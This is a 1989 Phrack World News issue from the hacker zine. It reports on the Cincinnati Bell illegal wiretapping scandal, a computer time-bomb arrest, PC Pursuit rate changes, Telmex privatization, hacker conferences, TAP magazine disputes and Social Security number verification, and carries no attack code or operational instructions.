Earlier this year, Telenet announced new terms for the PC Pursuit program, which placed time limits on the use of the service, and set new rates for usage of the service.

***** Most of the deal has been called OFF *****

In a letter dated March 29, 1989 from Floyd H. Trogdon, Vice President and General Manager of Network Services announced several revisions in the earlier plans. His latest letter supersedes all previous memos and usage agreements, and becomes effective July 1, 1989.

There will be THREE membership plans:

o REGULAR membership will be $30 per month for up to 30 hours of non‑prime time (evenings and weekend) use. This can be used by the subscriber only. No others allowed to use it.

o FAMILY membership will be $50 per month for up to 60 hours of non‑prime time (evenings and weekend) use. This can be used by the subscriber and any immediate family members in the same household. If a single person expected to use more than 30 hours per month, s/he would still buy this "family" plan, even if the entire "family" consisted of just one person.

o HANDICAPPED membership will be $30 per month for up to 90 hours of non‑prime time (evening and weekend) use. To qualify for these terms, proof of physical handicap must be provided. Ask Telenet for the exact terms.

EXCESS HOURS over 30 (or 60/90) per month during non‑prime time hours will be billed at $3.00 per hour. This is a decrease from the earlier proposed charge of $4.50 per hour.

PRIME‑TIME USAGE will be billed at $10.50 per hour, regardless of how much time may be remaining on the PCP membership plan.

The billing will be in arrears each month. That is, the July usage will be billed in August, etc. Call detail will be automatically provided to any subscriber going over thirty hours per month.

GRACE PERIOD/FORGIVENESS: All calls will be given a one minute grace period for the purpose of establishing the connection. There will never be a charge for calls lasting one minute or less. If you disconnect promptly when you see that your call will not complete for whatever reason, there will be no charge.

There will be a two minute minimum on all connections (after the first minute has passed). Otherwise, times will be rounded to the *nearest* minute for billing purposes.

NEW PASSWORDS AND USER I.D.'s FOR EVERYONE: During April, 1989, all current subscribers to PC Pursuit will be issued new passwords and new user identities. On May 1, 1989, all existing passwords and ID's will be killed.

New users after July 1, 1989 will pay $30 to set up an account. Password changes will be $5.00. *Existing* users will never have to pay a fee to adjust their account upward or downward from regular < == > family plans. Call detail will be provided in June, 1989 to users with more than 30 hours of usage to help them determine which plan they should use; however there will be no charge for extra hours until July.

Because of the confusion and lack of good communication between Telenet and its users over the past few months, the official change in terms from unlimited use to measured use has been postponed from its original starting date in June to July 1.

These are just excerpts from the letter to subscribers posted on the Net Exchange BBS. If you subscribe to PC Pursuit, I recommend you sign on and read the full memo, along with the accompanying Terms and Conditions and price schedules.

Remember, any changes you may have made in February/March in anticipation of the changeover originally planned for May/June are now void. Telenet has stated all users will be defaulted to REGULAR memberships effective July 1 unless they specifically make changes to this during the months of May and June.

Telenet Customer Service: 1‑800‑336‑0437 Telenet Telemarketing: 1‑800‑TELENET

Sign up via modem with credit card number handy: 1‑800‑835‑3001.

To read the full bulletins, log onto Net Exchange by calling into your local Telenet switcher and connecting to '@pursuit'.

Phrack World News XXVI Part 2

==Phrack Inc.==

Volume Three, Issue 26, File 10 of 11

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN %%%%%%%%%%% %%%%%%%%% %%%%%%PWN

PWN Issue XXVI/Part 2 PWN

PWN PWN

PWN April 25, 1989 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Reach Out And TAP Someone April 3, 1989

%%%%%%%%%%%%%%%%%%%%%%%%%

Two former employees of Cincinnati Bell, who were fired by the company for "good cause" according to Cincinnati Bell Chairman Dwight Hibbard are claiming they installed more than 1200 illegal wiretaps over a 12 year period from 1972 ‑ 1984 at the request of their supervisors at the telco and the local police.

Among the alleged targets of the snooping were past and present members of Congress, federal judges, scores of the city's most prominent politicians, business executives, lawyers and media personalities.

Leonard Gates and Robert Draise say they even wiretapped the hotel room where President Gerald Ford stayed during two visits to Cincinnati; and this part of their story, at least, has been verified by the now retired security chief at the hotel.

As more details come out each day, people in Cincinnati are getting a rare look at a Police Department that apparently spied on itself, and at a grand jury probe that has prompted one former FBI official to suggest that the Justice Department seems more interested in discrediting the accusers than in seeking the truth.

Cincinnati Bell executives says Gates and Draise are just trying to "get even" with the company for firing them. But disclosures thus far seem to indicate there is at least some truth in what the two men are saying about the company they used to work for.

According to Gates and Draise, they were just employees following the orders given to them by their superiors at Cincinnati Bell. But Dwight Hibbard, Chairman of the Board of Cincinnati Bell has called them both liars, and said their only motive is to make trouble for the company.

Cincinnati Bell responded to allegations that the company had specifically participated in illegal wiretapping by filing a libel suit against Gates and Draise. The two men responded by filing a countersuit against the telco. In addition to their suit, four of the people who were allegedly spied on have filed a class action suit against the telco.

In the latest development, Cincinnati Bell has gone public with (according to them) just recently discovered sordid details about an extramarital affair by Gates. A federal grand jury in Cincinnati is now trying to straighten out the tangled web of charges and countercharges, but so far no indictments have been returned.

Almost daily, Gates and Draise tell further details about their exploits, including taps they claim they placed on phones at the Cincinnati Stock Exchange and the General Electric aircraft engine plant in suburban Evendale.

According to Draise, he began doing these "special assignments" in 1972, when he was approached by a Cincinnati police officer from that city's clandestine intelligence unit. The police officer wanted him to tap the lines of black militants and suspected drug dealers, Draise said.

The police officer assured him the wiretapping would be legal, and that top executives at the phone company had approved. Draise agreed, and suggested recruiting Gates, a co‑worker to help out. Soon, the two were setting several wiretaps each week at the request of the Intelligence Unit of the Cincinnati Police Department.

But by around 1975, the direction and scope of the operation changed, say the men. The wiretap requests no longer came from the police; instead they came from James West and Peter Gabor, supervisors in the Security Department at Cincinnati Bell, who claimed *they were getting the orders from their superiors*.

And the targets of the spying were no longer criminal elements; instead, Draise and Gates say they were asked to tap the lines of politicians, business executives and even the phone of the Chief of Police himself, and the personal phone lines of some telephone company employees as well.

Draise said he "began to have doubts about the whole thing in 1979" when he was told to tap the private phone of a newspaper columnist in town. "I told them I wasn't going to do it anymore," he said in an interview during the week of April 2, 1989.

Gates kept on doing these things until 1984, and he says he got cold feet late that year when "the word came down through the grapevine" that he was to tap the phone lines connected to the computers at General Electric's Evendale plant. He backed out then, and said to leave him out of it in the future, and he claims there were hints of retaliation directed at him at that time; threats to "tell what we know about you..."

When Dwight Hibbard was contacted at his office at Cincinnati Bell and asked to comment on the allegations of his former employees, he responded that they were both liars. "The phone company would not do things like that," said Hibbard, "and those two are both getting sued because they say we do." Hibbard has refused to answer more specific questions asked by the local press and government investigators.

In fact, Draise was fired in 1979, shortly after he claims he told his superiors he would no longer place wiretaps on lines. Shortly after he quit handling the "special assignments" given to him he was arrested, and charged with a misdemeanor in connection with one wiretap ‑‑ which Draise says he set for a friend who wanted to spy on his ex‑girlfriend. Cincinnati Bell claims they had nothing to do with his arrest and conviction on that charge; but they "were forced to fire him" after he pleaded guilty.

Gates was fired in 1986 for insubordination. He claims Cincinnati Bell was retaliating against him for taking the side of two employees who were suing the company for sexual harassment; but his firing was upheld in court.

The story first started breaking when Gates and Draise went to see a reporter at [Mount Washington Press], a small weekly newspaper in the Cincinnati suburban area. The paper printed the allegations by the men, and angry responses started coming in almost immediately.

At first, police denied the existence of the Intelligence Unit, let alone that such an organization would use operatives at Cincinnati Bell to spy on people. Later, when called before the federal grand jury, and warned against lying, five retired police officers, including the former chief, took the Fifth Amendment. Finally last month, the five issued a statement through their attorney, admitting to 12 illegal wiretaps from 1972 ‑ 1974, and implicated unnamed operatives at Cincinnati Bell as their contacts to set the taps.

With the ice broken, and the formalities out of the way, others began coming forward with similar stories. Howard Lucas, the former Director of Security for Stouffer's Hotel in Cincinnati recalled a 1975 incident in which he stopped Gates, West and several undercover police officers from going into the hotel's phone room about a month before the visit by President Ford.

The phone room was kept locked, and employees working there were buzzed in by someone already inside, recalled Lucas. In addition to the switchboards, the room contained the wire distribution frames from which phone pairs ran throughout the hotel. Lucas refused to let the police officers go inside without a search warrant; and they never did return with one.

But Lucas said two days later he was tipped off by one of the operators to look in one of the closets there. Lucas said he found a voice activated tape recorder and "a couple of coils they used to make the tap." He said he told the Police Department and Cincinnati Bell about his findings, but "...I could not get anyone to claim it, so I just yanked it all out and threw it in the dumpster..."

Executives at General Electric were prompted to meet with Draise and Gates recently to learn the extent of the wiretapping that had been done at the plant. According to Draise, GE attorney David Kindleberger expressed astonishment when told the extent of the spying; and he linked it to the apparent loss of proprietary information to Pratt & Whitney, a competing manufacturer of aircraft engines.

Now all of a sudden, Kindleberger is clamming up. I wonder who got to him? He admits meeting with Draise, but says he never discussed Pratt & Whitney or any competitive situation with Draise. But an attorney who sat in on the meeting supports Draise's version.

After an initial flurry of press releases denying all allegations of illegal wiretapping, Cincinnati Bell has become very quiet, and is now unwilling to discuss the matter at all except to tell anyone who asks that "Draise and Gates are a couple of liars who want to get even with us..." And now, the telco suddenly has discovered information about Gates' personal life.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

FBI/Bell Wiretapping Network? April 3, 1989

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

[Edited For This Presentation]

Bob Draise/WB8QCF was an employee of Cincinnati Bell Telephone between 1966 and 1979. He, and others, are involved in a wiretapping scandal of monumental proportions. They say they have installed more than 1,000 wiretaps on the phones of judges, law enforcement officers, lawyers, television personalities, newspaper columnists, labor unions, defense contractors, major corporations (such as Proctor & Gamble and General Electric), politicians (even ex‑President Gerald Ford) at the request of Cincinnati police and Cincinnati Bell security supervisors who said the taps were for the police. They were told that many of the taps were for the FBI.

Another radio amateur, Vincent Clark/KB4MIT, a technician for South‑Central Bell from 1972 to 1981, said he placed illegal wiretaps similar to those done by Bob Draise on orders from his supervisors ‑‑ and on request from local policemen in Louisville, Kentucky.

When asked how he got started in the illegal wiretap business, Bob said that a friend called and asked him to come down to meet with the Cincinnati police. An intelligence sergeant asked Bob about wiretapping some Black Muslims. He also told Bob that Cincinnati Bell security had approved the wiretap ‑‑ and that it was for the FBI. The sergeant pointed to his Masonic ring which Bob also wore ‑‑ in other words, he was telling the truth under the Masonic oath ‑‑ something that Bob put a lot of stock in.

Most of the people first wiretapped were drug or criminal related. Later on, however, it go out of hand ‑‑ and the FBI wanted taps on prominent citizens. "We started doing people who had money. How this information was used, I couldn't tell you."

The January 29th "Newsday" said Draise had told investigators that among the taps he rigged from 1972 to 1979 were several on lines used by Wren Business Communications, a Bell competitor. It seems that when Wren had arranged an appointment with a potential customer, they found that Bell had just been there without being called. Wren's president is a ham radio operator, David Stoner/K8LMB.

When spoken with, Dave Stoner said the following;

"As far as I am concerned, the initial focus for all of this began with the FBI. The FBI apparently set up a structure throughout the United States using apparently the security chiefs of the different Bell companies. They say that there have been other cases in the United States like ours in Cincinnati but they have been localized without the realization of an overall pattern being implicated."

"The things that ties this all together is if you go way back in history to the Hoover period at the FBI, he apparently got together with the AT&T security people. There is an organization that I guess exists to this day with regular meetings of the security people of the different Bell companies. This meant that the FBI would be able to target a group of 20 or 30 people that represented the security points for all of the Bell and AT&T connections in the United States. I believe the key to all of this goes back to Hoover. The FBI worked through that group who then created the activity at the local level as a result of central planning."

"I believe that in spite of the fact that many people have indicated that this is an early 70's problem ‑‑ that there is no disruption to that work to this day. I am pretty much convinced that it is continuing. It looks like a large surveillance effort that Cincinnati was just a part of."

"The federal prosecutor Kathleen Brinkman is in a no‑win situation. If she successfully prosecutes this case she is going to bring trouble down upon her own Justice Department. She can't successfully prosecute the case."

About $200 million in lawsuits have already been filed against Cincinnati Bell and the Police Department. Several members of the police department have taken the Fifth Amendment before the grand jury rather than answer questions about their roles in the wiretapping scheme.

Bob Draise/WB8QCF has filed a suit against Cincinnati Bell for $78 for malicious prosecution and slander in response to a suit filed by Cincinnati Bell against Bob for defamation. Right after they filed the suit, several policemen came forward and admitted to doing illegal wiretaps with them. The Cincinnati police said they stopped this is 1974 ‑‑ although another policeman reportedly said they actually stopped the wiretapping in 1986.

Now the CBS‑TV program "60 Minutes" is interested in the Cincinnati goings‑on and has sent in a team of investigative reporters. Ed Bradley from "60 Minutes" has already interviewed Bob Draise/WB8QCF and it is expected that sometime during this month (April) April, we will see a "60 Minutes" report on spying by the FBI. We also understand that CNN, Ted Turner's Cable News Network, is also working up a "Bugging of America" expose.

________________________________________

Crackdown On Hackers Urged April 9, 1989

%%%%%%%%%%%%%%%%%%%%%%%%%%

Taken From the Chicago Tribune (Section 7, Page 12b)

"Make Punishment Fit The Crime," computer leaders say.

DALLAS (AP) ‑‑ The legal system has failed to respond adequately to the threat that hackers pose to the computer networks crucial to corporate America, a computer expert says.

Many computer hackers "are given slaps on the wrist," Mark Leary, a senior analyst with International Data Corp., said at a roundtable discussion last week.

"The justice system has to step up...to the fact that these people are malicious and are criminals and are robbing banks just as much as if they walked up with a shotgun," he said.

Other panelists complained that hackers, because of their ability to break into computer systems, even are given jobs, sometimes a security consultants.

The experts spoke at a roundtable sponsored by Network World magazine, a publication for computer network users and managers.

Computer networks have become crucial to business, from transferring and compiling information to overseeing and running manufacturing processes.

The public also is increasingly exposed to networks through such devices as automatic teller machines at banks, airline reservation systems and computers that store billing information.

Companies became more willing to spend money on computer security after last year's celebrated invasion of a nationwide network by a virus allegedly unleased by a graduate student [Robert Tappen Morris], the experts said.

"The incident caused us to reassess the priorities with which we look at certain threats," said Dennis Steinaur, manager of the computer security management group of the National Institute of Standards and Technology.

But computer security isn't only a matter of guarding against unauthorized entry, said Max Hopper, senior vice president for information systems as American Airlines.

Hopper said American has built a "a Cheyenne mountain‑type" installation for its computer systems to guard against a variety of problems, including electrical failure and natural disaster. Referring to the Defense Department's underground nerve center in a Colorado mountain, he said American's precautions even include a three‑day supply of food.

"We've done everything we can, we think, to protect the total environment," Hopper said.

Hopper and Steinaur said that despite the high‑tech image of computer terrorism, it remains an administrative problem that should be approached as a routine management issue.

But the experts agreed that the greatest danger to computer networks does not come from outside hackers. Instead, they said, the biggest threat is from disgruntled employees or others whose original access to systems was legitimate.

Though employee screening is useful, Steinaur said, it is more important to build into computer systems ways to track unauthorized use and to publicize that hacking can be traced.

Steinaur said growing computer literacy, plus the activities of some non‑malicious hackers, help security managers in some respects.

Expanded knowledge "forces us as security managers not be dependent on ignorance," Steinaur said.

"Security needs to be a part of the system, rather than a 'nuisance addition,'" Steinaur said, "and we probably have not done a very good job of making management realize that security is an integral part of the system."

IDC's Leary said the organization surveys of Fortune 1000 companies surprisingly found a significant number of companies were doing little to protect their systems.

The discussion, the first of three planned by Network World, was held because computer sabotage "is a real problem that people aren't aware of," said editor John Gallant. Many business people sophisticated networks."

It also is a problem that many industry vendors are reluctant to address, he said, because it raises questions about a company's reliability.

Typed For PWN by Hatchet Molly

________________________________________

Ex‑Worker Charged In Virus Case ‑‑ Databases Were Alleged Target Apr 12, 1989

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

by Jane M. Von Bergen (Philadelphia Inquirer)

A former employee was charged yesterday with infecting his company's computer database in what is believed to be the first computer‑virus arrest in the Philadelphia area.

"We believe he was doing this as an act of revenge," said Camden County Assistant Prosecutor Norman Muhlbaier said yesterday, commenting on a motive for the employee who allegedly installed a program to erase databases at his former company, Datacomp Corp. in Voorhees, New Jersey.

Chris Young, 21, of the 2000 block of Liberty Street, Trenton, was charged in Camden County with one count of computer theft by altering a database. Superior Court Judge E. Stevenson Fluharty released Young on his promise to pay $10,000 if he failed to appear in court. If convicted, Young faces a 10‑year prison term and a $100,000 fine. Young could not be reached for comment.

"No damage was done," Muhlbaier said, because the company discovered the virus before it could cause harm. Had the virus gone into effect, it could have damaged databases worth several hundred thousand dollars, Muhlbaier said.

Datacomp Corp., in the Echelon Mall, is involved in telephone marketing. The company, which has between 30 and 35 employees, had a contract with a major telephone company to verify the contents of its white pages and try to sell bold‑faced or other special listings in the white pages, a Datacomp company spokeswoman said. The database Young is accused of trying to destroy is the list of names from the phone company, she said.

Muhlbaier said that the day Young resigned from the company, October 7, 1988 he used fictitious passwords to obtain entry into the company computer, programming the virus to begin its destruction December 7, 1988 ‑‑ Pearl Harbor Day. Young, who had worked for the company on and off for two years ‑‑ most recently as a supervisor ‑‑ was disgruntled because he had received some unfavorable job‑performance reviews, the prosecutor said.

Eventually, operators at the company picked up glitches in the computer system. A programmer, called in to straighten out the mess, noticed that the program had been altered and discovered the data‑destroying virus, Muhlbaier said. "What Mr. Young did not know was that the computer system has a lot of security features so they could track it back to a particular date, time and terminal," Muhlbaier said. "We were able to ... prove that he was at that terminal." Young's virus, Muhlbaier said, is the type known as a "time bomb" because it is programmed to go off at a specific time. In this case, the database would have been sickened the first time someone switched on a computer December 7, he said

Norma Kraus, a vice president of Datacomp's parent company, Volt Information Sciences Inc, said yesterday that the company's potential loss included not only the databases, but also the time it took to find and cure the virus. "All the work has to stop," causing delivery backups on contracts, she said. "We're just fortunate that we have employees who can determine what's wrong and then have the interest to do something. In this case, the employee didn't stop at fixing the system, but continued on to determine what the problem was." The Volt company, based in New York, does $500 million worth of business a year with such services as telephone marketing, data processing and technical support. It also arranges temporary workers, particularly in the data‑processing field, and installs telecommunication services, Kraus said.

________________________________________

Mexico's Phone System Going Private? April 17, 1989

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

By Oryan QUEST (Special Hispanic Corespondent)

The Mexico Telephone Company, aka Telefonos de Mexico, aka Telmex, is likely to go private in the next year or two. The Mexican government is giving serious consideration to selling its controlling interest in that nation's communications network, despite very stiff opposition from the local unions which would prefer to see the existing bureaucracy stay in place.

The proposed sale, which is part of a move to upgrade the phone system there ‑and it *does* need upgrading ‑‑ by allowing more private investment, is part of a growing trend in Mexico to privatize heretofore nationalized industries.

The Mexico Telephone Company has spent more than a year planning a $14 billion, five‑year restructuring plan which will probably give AT&T and the Bell regional holding companies a role in the improvements.

One plan being discussed by the Mexican government is a complete break‑up of Telmex, similar to the court‑ordered divestiture of AT&T a few years ago. Under this plan, there would be one central long distance company in Mexico, with the government retaining control of it, but privately owned regional firms providing local and auxiliary services.

Representatives of the Mexican government have talked on more than one occasion with some folks at Southwestern Bell about making a formal proposal. Likewise, Pacific Bell has been making some overtures to the Mexicans. It will be interesting to see what develops.

About two years ago, Teleconnect Magazine, in a humorous article on the divestiture, presented a bogus map of the territories assigned to each BOC, with Texas, New Mexico and Arizona grouped under an entity called "Taco Bell."

Any phone company which takes over the Mexican system will be an improvement over the current operation, which has been slowly deteriorating for several years.

PS: I *Demand* To Be Let Back On MSP!

Phrack World News XXVI Part 3

==Phrack Inc.==

Volume Three, Issue 26, File 11 of 11

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN %%%%%%%%%%% %%%%%%%%% %%%%%%PWN

PWN Issue XXVI/Part 3 PWN

PWN PWN

PWN April 25, 1989 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Galactic Hacker Party March 30, 1989

%%%%%%%%%%%%%%%%%%%%%

GALACTIC HACKER PARTY

August 2‑4, 1989

PARADISO, AMSTERDAM, HOLLAND

During the summer of 1989, the world as we know it will go into overload. An interstellar particle stream of hackers, phone phreaks, radioactivists and assorted technological subversives will be fusing their energies into a media melt‑down as the global village plugs into Amsterdam for three electrifying days of information interchange and electronic capers.

Aided by the advanced communications technology to which they are accustomed, the hacker forces will discuss strategies, play games, and generally have a good time. Free access to permanently open on‑line facilities will enable them to keep in touch with home base ‑‑ wherever that is.

Those who rightly fear the threat of information tyranny and want to learn what they can do about it are urgently invited to interface in Amsterdam in August. There will be much to learn from people who know. Celebrity guests with something to say will be present in body or electronic spirit.

The Force must be nurtured. If you are refused transport because your laptop looks like a bomb, cut off behind enemy lines, or unable to attend for any other reason, then join us on the networks. Other hacker groups are requested to organize similar gatherings to coincide with ours. We can provide low‑cost international communications links during the conference.

[ Despite the wishes of those planning the "Galactic Hacker ] [ Party," there will be NO change in plans for SummerCon '89! ]

For further information, take up contact as soon as possible with:

HACK‑TIC PARADISO P.O. box 22953 Weteringschans 6‑8 1100 DL Amsterdam 1017 SG Amsterdam The Netherlands The Netherlands

tel: +31 20 6001480 tel: +31 20 264521 / +31 20 237348

________________________________________

Subversive Bulletin Boards March 26, 1989

%%%%%%%%%%%%%%%%%%%%%%%%%%

An article in a newspaper from the United Kingdom had an article relating to a computer bulletin board being run by a 14‑year‑old boy in Wilmslow, Cheshire, England. It contained information relating to such things as making plastic explosives.

Anti‑terrorist detectives are said to be investigating for possible breaches of the Obscene Publications Act. Apparently reporters were able to easily gain access to this bulletin board and peruse articles on such subjects as credit card fraud, making various types of explosives, street fighting techniques and dodging police radar traps.

One article was obviously aimed at children and described how to make a bomb suitable for use on "the car of a teacher you do not like at school," which would destroy the tire of a car when it was started.

The boy's parents did not seem to think that their son was doing anything wrong, preferring him to be working with his computer rather than roaming the streets.

A London computer consultant, Noel Bradford, is quoted as having seen the bulletin board and found messages discussing "how to crack British Telecom, how to get money out of people and how to defraud credit card companies. Credit card numbers are given, along with PIN numbers, names, addresses and other details."

________________________________________

Tale Of TWO TAP Magazines! April 24, 1989

%%%%%%%%%%%%%%%%%%%%%%%%%%

It seemed inevitable that the battle for the rights to TAP would come into play, but many wonder why it has taken so long.

The Renegade Chemist, long time member of Phortune 500 and one of its "Board Of Directors," has been talking about re‑starting TAP Magazine for at least two years... nothing ever happened with it until now. TRC claims that the TAP Magazine crew in Kentucky is just a fraud and that he is putting on the "REAL McCoy."

For a free issue of The Renegade Chemist's TAP Magazine, send a self‑addressed stamped envelope to:

Data Security Consultants, Inc.

TAP Magazine

P.O. Box 271

South Windam, CT 06266‑0271

Now on the other hand, Aristotle of the Kentucky based TAP Magazine has shown an almost uncaring attitude about The Renegade Chemist's statements about TAP Magazine. He says that he does not "really mind if these people put out a magazine. Honestly I just want to help the community and the more magazines and information, the better."

The really big news about the Kentucky based TAP Magazine came Saturday, April 22, 1989. Apparently, because of problems with local banks and the Internal Revenue Service, TAP Magazine is now FREE!

The only catch is that if you want it, you have to send them a self‑addressed stamped envelope to get each issue or "you can send cash, but only enough to pay for postage, 25 cents should cover it." Do not send any kinds of checks and/or money orders. Anyone who did will be receiving their checks back or at least those checks will not be cashed. The TAP Magazine staff will be taking care of the printing costs out of their own pocket.

So for the FREE TAP Magazine, send a self‑addressed stamped envelope to:

P.O. Box 20264

Louisville, KY 40220

Issue 93 is due for the end of April 1989, but Aristotle also wanted me to let everyone know that he will be attending SummerCon '89 and bringing with him plenty of issues of all the TAPs that he, Olorin The White, and Predat0r have published.

As I have not seen TRC's TAP, I make no judgements. Instead, get a copy of both TAPs FREE and compare them yourself. The market will decide which TAP will continue.

Information Provided by Aristotle and The Renegade Chemist

________________________________________

Computer Group Wary Of Security Agency April 11, 1989

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Taken from the San Francisco Chronicle

A public interest group said yesterday that the National Security Agency, the nation's biggest intelligence agency, could exert excessive control over a program to strengthen the security of computer systems throughout the federal government.

The group, Computer Professionals for Social Responsibility ‑‑ based in Palo Alto ‑‑ urged key members of Congress to focus "particularly close scrutiny" on the agency's role in helping to implement legislation aimed at safeguarding sensitive but unclassified information in federal computers.

"There is a constant risk that the federal agencies, under the guise of enhancing computer security, may find their programs ‑‑ to the extent that they rely upon computer systems ‑‑ increasingly under the supervision of the largest and most secretive intelligence organization in the country," it said.

________________________________________

Verifying Social Security Numbers April 11, 1989

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Taken From The New York Times

Dorcas R. Hardy, Commisssioner of the Social Security Administration, told a Congressional committee that the agency had verified millions of SSN's for private credit companies.

TRW, the nation's largest credit reporting company, recently proposed paying the Social Security Administration $1,000,000 to have 140 million numbers verified.

Phil Gambino, an agency spokesman, reported last month that the agency had verified social security numbers only at the request of beneficiaries or employers and had never verified more than 25 numbers at a time. He said such disclosures were required under the Freedom of Information Act.

At the hearing yesterday, Dorcas R. Hardy, denied any other verifications at first. However, she later admitted that in the early 1980s, 3,000,000 social security numbers were verified for CitiCorp and that last year 151,000 numbers were verified for TRW. Ms. Hardy said that the 151,000 numbers were just part of a "test run."

Senator David Pryor, a democrat from Arkansas and chairman of the Special Committee on Aging, said that previous commissioners; the Congressional Research Service of the Library of Congress, and Donald A. Gonya, chief counsel for Social Security have all decided that such verification is illegal.

________________________________________

PWN Quicknotes

1. Prank Virus Warning Message (March 28, 1989) ‑‑ An individual placed a time bomb message on a government service system in the San Francisco Bay Area saying, "WARNING! A computer virus has infected the system!" The individual is learning that such a prank is considered almost as funny as saying that you have a bomb in your carry‑on luggage as you board a plane. ‑‑ Bruce Baker, Information Security Program, SRI International

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

2. Hackers' Dictionary In Japanese? (March 30, 1989) ‑‑ What is this you ask? This amusing compilation was put together a decade or so ago by artificial intelligence (AI) graduate students at Stanford, MIT, and Carnegie‑Mellon and recorded the then‑current vernacular of their shared cultures. They did it for fun, but it somehow ended up getting published.

The Hackers' Dictionary contains more than a few puns, jokes, and other things that are hard to translate such as "moby," as in "moby memory", or "fubar" and its regional variants "foo bar" and "foo baz."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

3. AT&T's Air Force ‑‑ AT&T has an air force that patrols its cable routes, some routes 24 hours a day, 365 days a year. The AT&T air force includes helicopters and fixed‑wing aircraft. For some areas, AT&T uses infantry and armored cars. AT&T's Sue Fleming says, "We hope NOT to find any activity. We don't want to 'catch' people. But if we do spot a digging crew, the usual procedure is for the pilot to radio the location back to a ground crew, who check it out. On occasion, they drop notes ‑‑ or even land ‑‑ but that depends on where the site is. In some areas ‑‑ like New Jersey ‑‑ unauthorized landings bring heavy penalties."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

4. Terrorist Threat? ‑‑ Scientific advisors to the government told a Senate panel that telecommunications networks are tempting targets for terrorist activity. The experts said that advances in technology ‑‑ like fiber optics, which concentrates equipment and data ‑‑ and the fragmentation of the telecom industry after divestiture are reasons for the increased risk. Certainly the Hinsdale, Illinois CO fire and the recent severing of a fiber backbone in New Jersey have shown us all how vulnerable our country's telecom network is.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

5. FCC Rules On AOS ‑‑ The FCC has ruled on a complaint filed this summer by two consumer groups against five Alternative Operator Services (AOS) companies. The FCC found the complaint valid and has ordered the AOS companies to stop certain practices immediately.

The ruling states that callers must be told when their calls are being handled by an AOS, operators must provide callers with rate information and hotel or payphone owners cannot block calls to other long distance carriers. (Callers who don't take any special action when making a call will still be routed to the pre‑subscribed carrier.)

The FCC has also ordered the companies to eliminate "splashing" whenever technically feasible. Splashing is transferring a call to a distant carrier point‑of‑presence and charging the caller for the call from that point.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

6. Cool New Service ‑‑ CompuServe (the world's biggest computer bulletin board) users can now dial in and search and find articles from a bunch of different technical trade magazines. The database was put together by an outfit called Information Access Company. It currently contains full‑text articles for 50 publications and paraphrased abstracts for 75 more. Most coverage begins with the January 1987 issues.

You can search the publications by magazine name, author, key word, key phrase, etc., then pull up the abstracts of the article of interest and, if needed and when available, get the full text of the article. And it's easy to use.

Charge for the service is $24 per hour, $1 for each abstract, and $1.50 for each full‑text article accessed. CompuServe charges $12.50 per hour for connect time. Both per hour charges are pro‑rated, and, with the databases being so easy to use, you'll rarely be on the board for more than 10‑15 minutes, so those costs will drop.

CompuServe 800‑848‑8199 Information Access 800‑227‑8431

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

7. ISDN Calling Number Identification Services (April 7, 1989) ‑‑ Bellcore Technical Reference TR‑TSY‑000860, "ISDN Calling Number Identification Services" can be purchased for $46 from:

Bellcore

Customer Service

60 New England Ave

Piscataway, NJ 08854‑4196

(201) 699‑5800

This Technical Reference contains Bellcore's view of generic requirements for support of ISDN Calling Number Identification (I‑CNIS). The I‑CNIS feature extends the concepts of Calling Number Delivery and Calling Number Delivery Blocking to ISDN lines. I‑CNIS also allows the customer to specify which Directory Number (DN) should be used for each outgoing call and provides network screening to ensure that the specified DN is valid. I‑CNIS handles calling number processing for both circuit‑mode and packet‑mode ISDN calls and provides four component features: Number Provision, Number Screening, Number Privacy, and Number Delivery. Material on Privacy Change by the calling party and Privacy Override by the called party is also included.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

8. Founder of TAP Magazine, Abbie Hoffman, born in 1936, passed away on April 12, 1989. He was found dead in his apartment in New Hope, PA. He was fully dressed under the bedcovers. An autopsy was inconclusive. An article about him appears in the April 24, 1989 issue of Time Magazine, "A Flower in a Clenched Fist," page 23.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

9. Bill Landreth aka The Cracker, author of Out Of The Inner Circle, has reappeared. Supposedly, he is now working as a bookbinder in Orange County, California and living with the sysop of a bulletin board called the "Pig Sty." ‑‑ Dark Sorcerer (April 19, 1989)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

